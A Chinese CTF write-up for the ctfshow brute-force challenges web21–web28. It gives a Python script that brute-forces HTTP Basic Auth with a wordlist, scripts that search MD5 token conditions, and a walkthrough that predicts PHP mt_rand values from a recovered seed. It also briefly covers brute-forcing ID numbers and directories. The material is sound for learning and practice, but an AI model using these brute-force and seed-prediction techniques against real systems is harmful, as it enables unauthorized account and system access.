本文主要是介绍ctfshow-爆破(web21-web28),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
web21
提交用户和密码后发现没有用户以及密码的值呢 常见的是在post数据中 或者url后传值 但这里都没有
发现http头有一个Authorization字段 值是base64编码后的 解码 原来是将传入的值用冒号分离进行base64编码然后放到了Authorization字段中了
设置变量
增加前缀
增加编码方式
取消选项 记住 只要payload存在一下符号就取消
增加字典(字典使用题目给的字典 因为是做题嘛 要不然时间过长)
开始爆破发现有一个payload的响应的状态码为200
直接查看响应内容
第二种方法 python脚本
import time
import requests
import base64
url = 'http://c627cc25-ad77-4154-9fbf-5508f215bd17.challenge.ctf.show/'
password = []
with open("1.txt", "r") as f:while True:data = f.readline()if data:password.append(data)else:breakprint(password)
for p in password:strs = 'admin:' + pheader = {'Authorization': 'Basic {}'.format(base64.b64encode(strs.encode('utf-8')).decode('utf-8'))}print(header)rep = requests.get(url, headers=header)if rep.status_code == 200:print(rep.text)break
web 22
题有问题 直接写答案
web23
<?php
error_reporting(0);
include('flag.php');
if(isset($_GET['token'])){$token = md5($_GET['token']);if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){echo $flag;}}
}else{highlight_file(__FILE__);
}
?>
写一个对应的脚本即可 看看哪些数可以满足题目条件
<?php
error_reporting(0);
for ($i=0;$i<1000000;$i=$i+1){$token=md5($i);if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){echo $i."\n";}}}
上面是php脚本 直接按照要求 得出一个值
下面是python脚本 真正的时间爆破 但是也是个思路
两种方式不同而已 php采用的是根据题目要求写一个脚本 获取能执行成功的值 而python脚本则是一个一个去尝试成功就暂停 两种都可以 但是这道题其实使用php脚本更友好 因为速度快 某个值不满足 直接不执行多余语句 而python每个值都要全部执行看看返回值
import requests
a = "3abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ012456789"
for i in a:for j in a:url ="http://798a8cd2-5ee7-422e-bb13-1615baf862ff.challenge.ctf.show/?token="+str(i)+str(j)req = requests.get(url=url).textif "flag" in req:print(req)exit()else:print(url)
web24
<?php
error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){$r = $_GET['r'];mt_srand(372619038);if(intval($r)===intval(mt_rand())){echo $flag;}
}else{highlight_file(__FILE__);echo system('cat /proc/version');
}?>
写一个脚本看看随机数的值为多少
<?php
mt_srand(372619038);
echo mt_rand();
?>
第一次的到999695185 传参发现不对 换个php版本再尝试一下
得到1155388967 传参成功
web25
<?php
error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){$r = $_GET['r'];mt_srand(hexdec(substr(md5($flag), 0,8)));$rand = intval($r)-intval(mt_rand());if((!$rand)){if($_COOKIE['token']==(mt_rand()+mt_rand())){echo $flag;}}else{echo $rand;}
}else{highlight_file(__FILE__);echo system('cat /proc/version');
}
mt_srand设置种子 但是该题种子位置 然是通过传参r=0能的到 -2114860072 也就是说intval(mt_rand())的值为2114860072 也就是使用该种子的第一个随机数为2114860072
使用工具反推出种子的值
找到php7版本的种子 手动尝试一下第一个值是不是2114860072
<?php
mt_srand(3566994211 );
echo mt_rand()."\n";
echo mt_rand()+mt_rand();
发现是 使用第二次和第三次随机数进行相加 得到3462242492
传参r=2114860072 cookie中的token的值为3462242492
这道题之所以这么做是因为mt_rand每一次的值都是根据种子来计算出来 也就是说 如果种子固定
执行的结果是固定的 所以这个种子很重要
学生A 执行第一次 得到12 第二次得到 123 第三次得到1234
同理
学生B 执行第一次 得到12 第二次得到 123 第三次得到1234
web26
抓包直接得到flag 莫名其妙估计他没想给默认值?
web27
查看录取名单
学生学籍查看系统 需要姓名和身份证 选择第一个用户直接爆破身份证号
得到该学生学号以及密码
web28
提示
那就爆破目录0-100/0-100/ 即可
这篇关于ctfshow-爆破(web21-web28)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!